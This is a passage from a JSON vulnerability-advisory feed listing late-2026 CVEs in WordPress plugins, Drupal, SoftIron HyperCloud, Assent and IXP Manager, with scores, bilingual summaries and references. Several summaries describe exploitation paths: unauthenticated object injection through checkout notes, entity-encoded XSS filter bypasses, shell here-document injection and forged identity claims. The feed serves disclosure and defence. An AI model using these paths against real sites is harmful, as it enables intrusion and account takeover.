7.1.1 via the 'customer_note' parameter parameter. This is due to insufficient sanitization of the customer_note checkout field, which is inlined verbatim into invoice HTML, entity-decoded back into a live tag by simplehtmldom, reassembled into raw bytes by mPDF, and passed to unserialize() in _getObjAttr without validation. This makes it possible for unauthenticated attackers to execute code on the server. An unauthenticated attacker can trigger the vulnerable code path on a default install by placing an anonymous WooCommerce checkout via the public Store API (POST /wc/store/v1/checkout) using a Direct Bank Transfer or cheque payment method, which automatically transitions the order to 'on-hold' status and fires the plugin's invoice-generation hook.","ar":"The PDF Invoice for WooCommerce + Drag and Drop Template Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 7.1.1 via the 'customer_note' parameter parameter. This is due to insufficient sanitization of the customer_note checkout field, which is inlined verbatim into invoice HTML, entity-decoded back into a live tag by simplehtmldom, reassembled into raw bytes by mPDF, and passed to unserialize() in _getObjAttr without validation. This makes it possible for unauthenticated attackers to execute code on the server. An unauthenticated attacker can trigger the vulnerable code path on a default install by placing an anonymous WooCommerce checkout via the public Store API (POST /wc/store/v1/checkout) using a Direct Bank Transfer or cheque payment method, which automatically transitions the order to 'on-hold' status and fires the plugin's invoice-generation hook."},"refs":[["https://downloads.wordpress.org/plugin/pdf-for-woocommerce.7.2.0.zip","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/frontend/index.php#L378","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/libs/HtmlDocument.php#L300","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/libs/HtmlNode.php#L1266","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/vendor/mpdf/mpdf/src/Mpdf.php#L9105","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/woocommerce/emails/index.php#L70","ref"],["https://plugins.trac.wordpress.org/browser/pdf-for-woocommerce/tags/7.1.1/woocommerce/shortcodes.php#L708","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/1bc3529c-6161-4b89-8a35-c3a9b7b8c308?source=cve","ref"]],"epss":0.0052,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"addonsorg-pdf-invoice-for-woocommerce-drag-and-drop-template"},{"id":"CVE-2026-111254","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:34Z","product":"boldgrid W3 Total Cache","affected":[["0 – 2.10.7",null]],"title":{"en":"W3 Total Cache <= 2.10.7 - Unauthenticated Stored Cross-Site Scripting via Comment Content Cached as HTML after License Expiry","ar":"ثغرة XSS في boldgrid W3 Total Cache"},"summary":{"en":"The W3 Total Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 2.10.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that a Pro license was previously active with REST caching enabled and has since become inactive while Disk Enhanced page caching remains configured, and that the attacker holds a previously approved commenter identity.","ar":"The W3 Total Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 2.10.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires that a Pro license was previously active with REST caching enabled and has since become inactive while Disk Enhanced page caching remains configured, and that the attacker holds a previously approved commenter identity."},"refs":[["https://github.com/BoldGrid/w3-total-cache/commit/7168b0d7cc80e827ad234a0428ab3ecdbef3c107","ref"],["https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.10.7/Licensing_Plugin_Admin.php#L928","ref"],["https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.10.7/PgCache_ContentGrabber.php#L1450","ref"],["https://plugins.trac.wordpress.org/browser/w3-total-cache/tags/2.10.7/PgCache_ContentGrabber.php#L1719","ref"],["https://plugins.trac.wordpress.org/changeset/3757452/w3-total-cache/trunk/PgCache_ContentGrabber.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/0169909e-c6cd-4d08-8301-5e09fce4429c?source=cve","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"boldgrid-w3-total-cache"},{"id":"CVE-2026-107750","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:33Z","product":"wpovernight PDF Invoices & Packing Slips for WooCommerce","affected":[["0 – 5.16.4",null]],"title":{"en":"PDF Invoices & Packing Slips for WooCommerce <= 5.16.4 - Unauthenticated Stored Cross-Site Scripting via Billing First Name / Last Name / Company / Customer Note fields at guest c…","ar":"ثغرة XSS في wpovernight PDF Invoices & Packing Slips for WooCommerce"},"summary":{"en":"The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'billing_address.first_name / last_name / company, customer_note' parameter in all versions up to, and including, 5.16.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is an incomplete fix for CVE-2026-92244: the wp_kses() allow-list introduced in 5.16.2 correctly blocks raw-tag payloads but is bypassed by entity-encoded payloads (e.g., &lt;img onerror=…&gt;) that contain no literal angle-bracket characters and are therefore passed through unmodified before the trailing decode rematerializes them.","ar":"The PDF Invoices & Packing Slips for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'billing_address.first_name / last_name / company, customer_note' parameter in all versions up to, and including, 5.16.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is an incomplete fix for CVE-2026-92244: the wp_kses() allow-list introduced in 5.16.2 correctly blocks raw-tag payloads but is bypassed by entity-encoded payloads (e.g., &lt;img onerror=…&gt;) that contain no literal angle-bracket characters and are therefore passed through unmodified before the trailing decode rematerializes them."},"refs":[["https://plugins.trac.wordpress.org/browser/woocommerce-pdf-invoices-packing-slips/tags/5.16.3/includes/Documents/BulkDocument.php#L143","ref"],["https://plugins.trac.wordpress.org/browser/woocommerce-pdf-invoices-packing-slips/tags/5.16.3/includes/Documents/OrderDocument.php#L1699","ref"],["https://plugins.trac.wordpress.org/browser/woocommerce-pdf-invoices-packing-slips/tags/5.16.3/includes/Documents/OrderDocumentMethods.php#L1217","ref"],["https://plugins.trac.wordpress.org/browser/woocommerce-pdf-invoices-packing-slips/tags/5.16.3/includes/Documents/OrderDocumentMethods.php#L99","ref"],["https://plugins.trac.wordpress.org/browser/woocommerce-pdf-invoices-packing-slips/tags/5.16.3/wpo-ips-functions.php#L630","ref"],["https://plugins.trac.wordpress.org/changeset/3756047/woocommerce-pdf-invoices-packing-slips/trunk/includes/Documents/OrderDocument.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/9456cd66-d608-49b8-ad4c-fdc89db4cd29?source=cve","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"wpovernight-pdf-invoices-packing-slips-for-woocommerce"},{"id":"CVE-2026-107653","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T07:16:32Z","product":"surecart SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads…","affected":[["0 – 4.9.4",null]],"title":{"en":"SureCart <= 4.9.4 - Unauthenticated Stored Cross-Site Scripting via 'manual-payment-instructions' Attribute of sc-order-manual-instructions in Comments","ar":"ثغرة XSS في surecart SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads…"},"summary":{"en":"The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the injected comment to be visible on a page that loads SureCart's web-component bundle (e.g. a page containing a SureCart Buy Button block), and the comment must be auto-approved or approved by a moderator.","ar":"The SureCart – Ecommerce Made Easy For Selling Physical Products, Digital Downloads, Subscriptions, Donations, & Payments plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful execution requires the injected comment to be visible on a page that loads SureCart's web-component bundle (e.g. a page containing a SureCart Buy Button block), and the comment must be auto-approved or approved by a moderator."},"refs":[["https://plugins.trac.wordpress.org/browser/surecart/tags/4.9.2/app/src/BlockLibrary/BlockServiceProvider.php#L100","ref"],["https://plugins.trac.wordpress.org/browser/surecart/tags/4.9.2/app/src/BlockLibrary/BlockServiceProvider.php#L152","ref"],["https://plugins.trac.wordpress.org/browser/surecart/tags/4.9.2/app/src/Support/kses.json#L1263","ref"],["https://plugins.trac.wordpress.org/browser/surecart/tags/4.9.2/dist/components/collection/components/controllers/confirmation/manual-instructions/sc-order-manual-instructions.js","ref"],["https://plugins.trac.wordpress.org/changeset/3742278/surecart/trunk/app/src/BlockLibrary/BlockServiceProvider.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/2329870b-3285-4fb2-92d1-8107eb101dff?source=cve","ref"]],"epss":0.0028,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"surecart"},{"id":"CVE-2026-118638","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T06:16:34Z","product":"Mapster WP Maps","affected":[["0 – <2.0.6","2.0.6"]],"title":{"en":"Mapster WP Maps < 2.0.6 - Unauthenticated Arbitrary Post Modification via save-mapmaker REST Route","ar":"إضافة Mapster WP Maps الإصدارات أقل من 2.0.6 - تعديل عشوائي للمقالات دون مصادقة عبر مسار واجهة برمجة تطبيقات REST المسمى save-mapmaker"},"summary":{"en":"The Mapster WP Maps WordPress plugin before 2.0.6 does not perform any authorization check on a REST API route that writes post data, allowing unauthenticated attackers to overwrite the title of arbitrary posts, create arbitrary published posts, and overwrite the Mapster WP Maps WordPress plugin before 2.0.6's stored settings.","ar":"لا تقوم إضافة Mapster WP Maps المخصصة لـ WordPress في الإصدارات قبل 2.0.6 بأي تحقق من الصلاحيات على مسار واجهة برمجة تطبيقات REST الذي يكتب بيانات المقالات، مما يسمح لمهاجمين دون مصادقة بالكتابة فوق عناوين المقالات العشوائية، وإنشاء مقالات منشورة عشوائية، والكتابة فوق الإعدادات المخزنة لإضافة Mapster WP Maps الإصدارات قبل 2.0.6."},"refs":[["https://wpscan.com/vulnerability/3d3004f1-46f1-479d-bae6-754e56d3aa7e/","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mapster-wp-maps"},{"id":"CVE-2026-118043","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T06:16:33Z","product":"Bulk Media Register","affected":[["0 – <2.01","2.01"]],"title":{"en":"Bulk Media Register < 2.01 - Author+ Arbitrary File Move via Path Traversal","ar":"إضافة Bulk Media Register الإصدارات أقل من 2.01 - نقل ملفات عشوائية بواسطة مستخدم بصلاحية Author وما فوق عبر اجتاز المسار"},"summary":{"en":"The Bulk Media Register WordPress plugin before 2.01 does not properly validate a user-supplied path before moving a file on the server, allowing users with the Author role to move or rename arbitrary files, including outside the WordPress root, which can defeat directory-level access controls and disclose protected files.","ar":"لا تقوم إضافة Bulk Media Register المخصصة لـ WordPress في الإصدارات قبل 2.01 التحقق بشكل صحيح من المسار المُقدم من المستخدم قبل نقل ملف على الخادم، مما يسمح للمستخدمين الذين يحملون دور Author بنقل أو إعادة تسمية ملفات عشوائية، بما في ذلك خارج المجلد الجذر لـ WordPress، مما قد يبطل ضوابط الوصول على مستوى المجلدات ويكشف ملفات محمية."},"refs":[["https://wpscan.com/vulnerability/bcb6cb6b-d1bc-4c92-8c3b-4ad48348a2b1/","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"bulk-media-register"},{"id":"CVE-2026-118185","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T06:16:33Z","product":"Security Optimizer","affected":[["0 – <1.6.9","1.6.9"]],"title":{"en":"Security Optimizer < 1.6.9 - 2FA Bypass via Missing Rate Limiting","ar":"ثغرة في المصادقة في Unknown Security Optimizer"},"summary":{"en":"The Security Optimizer WordPress plugin before 1.6.9 does not limit the number of two-factor authentication codes that can be submitted for a pending login, allowing an attacker who already knows a user's password to brute force the second factor and take over the account.","ar":"The Security Optimizer WordPress plugin before 1.6.9 does not limit the number of two-factor authentication codes that can be submitted for a pending login, allowing an attacker who already knows a user's password to brute force the second factor and take over the account."},"refs":[["https://wpscan.com/vulnerability/253fe868-0e85-496f-8b01-a8b5107db217/","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"security-optimizer"},{"id":"CVE-2026-116520","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T06:16:32Z","product":"buildwps PPWP – Password Protect Pages","affected":[["0 – 1.9.26",null]],"title":{"en":"PPWP <= 1.9.26 - Unauthenticated Stored Cross-Site Scripting via '[ppwp]' Shortcode 'desc_below_form' Attribute via Placeholder Marker Collision","ar":"ثغرة XSS في buildwps PPWP – Password Protect Pages"},"summary":{"en":"The PPWP – Password Protect Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment / shortcode attribute desc_below_form (and placeholder as the marker-smuggling helper)' parameter in all versions up to, and including, 1.9.26 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because WordPress's comment_content filter leaves bare shortcode text (containing no HTML tags) untouched, and the comment_whitelist setting auto-approves subsequent comments from a previously approved name and email without administrator intervention.","ar":"The PPWP – Password Protect Pages plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'comment / shortcode attribute desc_below_form (and placeholder as the marker-smuggling helper)' parameter in all versions up to, and including, 1.9.26 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This is exploitable by unauthenticated attackers because WordPress's comment_content filter leaves bare shortcode text (containing no HTML tags) untouched, and the comment_whitelist setting auto-approves subsequent comments from a previously approved name and email without administrator intervention."},"refs":[["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/services/class-ppw-shortcode.php#L202","ref"],["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/services/class-ppw-shortcode.php#L587","ref"],["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/services/class-ppw-shortcode.php#L598","ref"],["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/services/class-ppw-shortcode.php#L608","ref"],["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/services/class-ppw-shortcode.php#L622","ref"],["https://plugins.trac.wordpress.org/browser/password-protect-page/tags/1.9.26/includes/views/shortcode/view-ppw-restriced-content-form.php#L17","ref"],["https://plugins.trac.wordpress.org/changeset/3772960/password-protect-page/trunk/includes/services/class-ppw-shortcode.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/c549ba14-276e-46ab-8019-97430a566d8c?source=cve","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"buildwps-ppwp"},{"id":"CVE-2026-109234","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T06:16:31Z","product":"tigroumeow Meow Lightbox","affected":[["0 – 5.6.4",null]],"title":{"en":"Meow Lightbox <= 5.6.4 - Unauthenticated Stored Cross-Site Scripting via HTML Parser Quote-Metadata Desynchronization","ar":"ثغرة XSS في tigroumeow Meow Lightbox"},"summary":{"en":"The Meow Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'post_content (bbPress reply body)' parameter in all versions up to, and including, 5.6.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the administrator to have enabled Output Buffering, the HtmlDomParser engine, and Aggressive Resolve, as well as a stored-HTML submission surface (such as bbPress anonymous replies) whose kses allow-list preserves img attributes; given these preconditions, a one-shot unauthenticated submission can execute arbitrary JavaScript in the context of any user who views the affected page.","ar":"The Meow Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'post_content (bbPress reply body)' parameter in all versions up to, and including, 5.6.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the administrator to have enabled Output Buffering, the HtmlDomParser engine, and Aggressive Resolve, as well as a stored-HTML submission surface (such as bbPress anonymous replies) whose kses allow-list preserves img attributes; given these preconditions, a one-shot unauthenticated submission can execute arbitrary JavaScript in the context of any user who views the affected page."},"refs":[["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/classes/core.php#L1115","ref"],["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/classes/core.php#L1142","ref"],["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/classes/core.php#L1276","ref"],["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/classes/core.php#L901","ref"],["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/vendor/kub-at/php-simple-html-dom-parser/src/KubAT/PhpSimple/lib/simple_html_dom.php#L2043","ref"],["https://plugins.trac.wordpress.org/browser/meow-lightbox/tags/5.6.2/vendor/kub-at/php-simple-html-dom-parser/src/KubAT/PhpSimple/lib/simple_html_dom.php#L490","ref"],["https://plugins.trac.wordpress.org/changeset?old_path=/meow-lightbox/tags/5.6.4&new_path=/meow-lightbox/tags/5.6.5","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/45fcd17e-10d5-4357-84cc-2527b07b584e?source=cve","ref"]],"epss":0.0038,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"tigroumeow-meow-lightbox"},{"id":"CVE-2026-109997","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T06:16:31Z","product":"kstover Ninja Forms – Contact Form Builder with Calculators, Quizzes, Signatures & AI F…","affected":[["0 – 3.15.5",null]],"title":{"en":"Ninja Forms <= 3.15.5 - Unauthenticated Stored Cross-Site Scripting via 'extra' Parameter via Metadata Key Normalization","ar":"ثغرة XSS في kstover Ninja Forms – Contact Form Builder with Calculators, Quizzes, Signatures & AI F…"},"summary":{"en":"The Ninja Forms – Contact Form Builder with Calculators, Quizzes, Signatures & AI Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formData.extra' parameter in all versions up to, and including, 3.15.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nf_ajax_submit endpoint issues a valid nonce to any requester on failure, effectively neutralizing the nonce check and making exploitation trivially achievable in a single unauthenticated request.","ar":"The Ninja Forms – Contact Form Builder with Calculators, Quizzes, Signatures & AI Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'formData.extra' parameter in all versions up to, and including, 3.15.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The nf_ajax_submit endpoint issues a valid nonce to any requester on failure, effectively neutralizing the nonce check and making exploitation trivially achievable in a single unauthenticated request."},"refs":[["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/AJAX/Controllers/Submission.php#L428","ref"],["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/AJAX/Controllers/Submission.php#L52","ref"],["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/Actions/Save.php#L311","ref"],["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/Admin/Metaboxes/Calculations.php#L23","ref"],["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/Database/Models/Submission.php#L731","ref"],["https://plugins.trac.wordpress.org/browser/ninja-forms/tags/3.15.5/includes/Templates/admin-metaboxes-calcs.html.php#L4","ref"],["https://plugins.trac.wordpress.org/changeset/3749135/ninja-forms/trunk/includes/Templates/admin-metaboxes-calcs.html.php","ref"],["https://wordpress.org/plugins/ninja-forms/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/54da4deb-e50c-478d-ab99-222c5573a036?source=cve","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"kstover-ninja-forms"},{"id":"CVE-2026-116755","cvss":7.4,"vector":"CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-78","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T02:17:33Z","product":"SoftIron HyperCloud","affected":[["1.0 – <2.6.18","2.6.18"]],"title":{"en":"SoftIron HyperCloud: OS Command Injection in Orchestrator via Virtual Machine Template Fields","ar":"ثغرة حقن أوامر في SoftIron HyperCloud"},"summary":{"en":"Improper Neutralization of Special Elements used in a Command ('Command Injection') in the Orchestrator component of SoftIron HyperCloud allows an authenticated user with access to the management plane to execute arbitrary operating system commands on hypervisor hosts as the privileged orchestration user. Attacker-controlled virtual machine template content (for example, the VM DESCRIPTION field) is delivered to hosts through a shell here-document whose terminator is not quoted, so shell expansion and here-document terminator injection are performed on that content during virtual machine lifecycle operations such as deploy, migrate, and network setup. Exploitation requires valid credentials, access to the management plane (owning a virtual machine alone is not sufficient), and a lifecycle operation that reaches the affected host. This issue affects the Orchestrator component of SoftIron HyperCloud from 1.0 through 2.6.17 and is fixed in 2.6.18.","ar":"Improper Neutralization of Special Elements used in a Command ('Command Injection') in the Orchestrator component of SoftIron HyperCloud allows an authenticated user with access to the management plane to execute arbitrary operating system commands on hypervisor hosts as the privileged orchestration user. Attacker-controlled virtual machine template content (for example, the VM DESCRIPTION field) is delivered to hosts through a shell here-document whose terminator is not quoted, so shell expansion and here-document terminator injection are performed on that content during virtual machine lifecycle operations such as deploy, migrate, and network setup. Exploitation requires valid credentials, access to the management plane (owning a virtual machine alone is not sufficient), and a lifecycle operation that reaches the affected host. This issue affects the Orchestrator component of SoftIron HyperCloud from 1.0 through 2.6.17 and is fixed in 2.6.18."},"refs":[["https://advisories.softiron.cloud/","ref"]],"epss":0.0093,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"softiron-hypercloud"},{"id":"CVE-2026-110176","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-863","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T01:17:05Z","product":"Drupal File Force Download","affected":[["7.1.0 – <7.1.3","7.1.3"]],"title":{"en":"File Force Download for Drupal 7 Access Bypass via Unconditional Download Headers","ar":"ثغرة عالية الخطورة في Drupal File Force Download"},"summary":{"en":"The File Force Download module for Drupal 7 implements hook_file_download() to add a Content-Disposition header when a file URL carries the download query parameter. In Drupal 7, returning a non-empty header array from that hook is itself a grant of access to the file. In versions 7.1.0 through 7.1.2, the module only delegated to other modules' hook_file_download() implementations when the file was in the private scheme. For every other scheme it returned its headers without any check. An unauthenticated visitor who appended download=1 to the URL of a file in the temporary:// scheme, or in a stream wrapper supplied by another module, could retrieve the file, overriding the access checks that would otherwise have applied. Files in the public and private schemes are not affected.","ar":"The File Force Download module for Drupal 7 implements hook_file_download() to add a Content-Disposition header when a file URL carries the download query parameter. In Drupal 7, returning a non-empty header array from that hook is itself a grant of access to the file. In versions 7.1.0 through 7.1.2, the module only delegated to other modules' hook_file_download() implementations when the file was in the private scheme. For every other scheme it returned its headers without any check. An unauthenticated visitor who appended download=1 to the URL of a file in the temporary:// scheme, or in a stream wrapper supplied by another module, could retrieve the file, overriding the access checks that would otherwise have applied. Files in the public and private schemes are not affected."},"refs":[["https://d7es.tag1.com/security-advisories/file-force-download-critical-access-bypass","advisory"],["https://www.herodevs.com/vulnerability-directory/cve-2026-110176","advisory"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"drupal-file-force-download"},{"id":"CVE-2026-117656","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-290","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T00:16:51Z","product":"pow-auth assent","affected":[["0.1.25 – <0.3.2","0.3.2"]],"title":{"en":"Unverified Sign in with Apple callback parameter can override verified ID token claims","ar":"معامل استجابة غير مؤكد لخاصية Sign in with Apple يمكنه تجاوز مطالبات رمز المعرف المُتحقق منه"},"summary":{"en":"Acceptance of Extraneous Untrusted Data With Trusted Data vulnerability in the Sign in with Apple strategy in pow-auth Assent allows an unauthenticated remote attacker to impersonate another user via the user parameter of the authorization callback. Apple posts the user's name to the callback endpoint in a user form parameter that the browser submits and the client controls. Assent.Strategy.Apple.callback/2 in lib/assent/strategies/apple.ex decodes that parameter, and fetch_user/2 merges it over the claims of the verified ID token, so the unverified map wins. An attacker who completes a Sign in with Apple login with their own Apple ID and edits the user parameter can replace sub, email, and any other claim. Applications that look up, link, or authorize accounts by the returned subject or email then act on the attacker's values. This issue affects assent: from 0.1.25 before 0.3.2.","ar":"تتيح ثغرة قبول البيانات الخارجية غير الموثوقة مع البيانات الموثوقة في آلية Sign in with Apple ضمن مكتبة pow-auth Assent لمهاجم عن بُعد دون مصادقة انتحال شخصية مستخدم آخر عبر معامل user الخاص باستجابة المصادقة. يرسل نظام Apple اسم المستخدم إلى نقطة نهاية الاستجابة في معامل نموذج user الذي يرسله المتصفح ويتحكم به العميل. تقوم الدالة Assent.Strategy.Apple.callback/2 في lib/assent/strategies/apple.ex فك تشفير هذا المعامل، وتقوم fetch_user/2 بدمجه فوق مطالبات رمز المعرف المُتحقق منه، بحيث تتغلب الخريطة غير المُتحقق منها. يمكن للمهاجم الذي يُكمل تسجيل الدخول عبر Sign in with Apple باستخدام معرف Apple ID الخاص به وتعديل معامل user استبدال sub و email وأي مطالبة أخرى. وبناءً عليه، فإن التطبيقات التي تبحث عن الحسابات أو تربطها أو تفوضها بناءً على موضوع أو بريد إلكتروني مُعادٍ ستتصرف بناءً على قيم المهاجم. تؤثر هذه المشكلة على assent: من الإصدار 0.1.25 قبل 0.3.2."},"refs":[["https://github.com/pow-auth/assent/commit/18898bde0296152165ae470078490e5798329b1b","patch"],["https://github.com/pow-auth/assent/security/advisories/GHSA-9fr5-g44g-9526","advisory"],["https://cna.erlef.org/cves/CVE-2026-117656.html","ref"],["https://github.com/pow-auth/assent/commit/a2d331e8c51376d6c0b04a81aad31e0b4d4d64a3","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-117656","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"pow-auth-assent"},{"id":"CVE-2026-63339","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T23:17:13Z","product":"inex IXP-Manager","affected":[],"title":{"en":"IXP Manager has authenticated non-administrator privilege escalation","ar":"تطبيق IXP Manager يعاني من تصعيد للصلاحيات لمستخدم مصادق عليه وغير مسؤول"},"summary":{"en":"IXP Manager is a full-stack web application for managing Internet Exchange Points. Prior to version 7.3.0, an authenticated, non-administrative user can elevate their privileges to 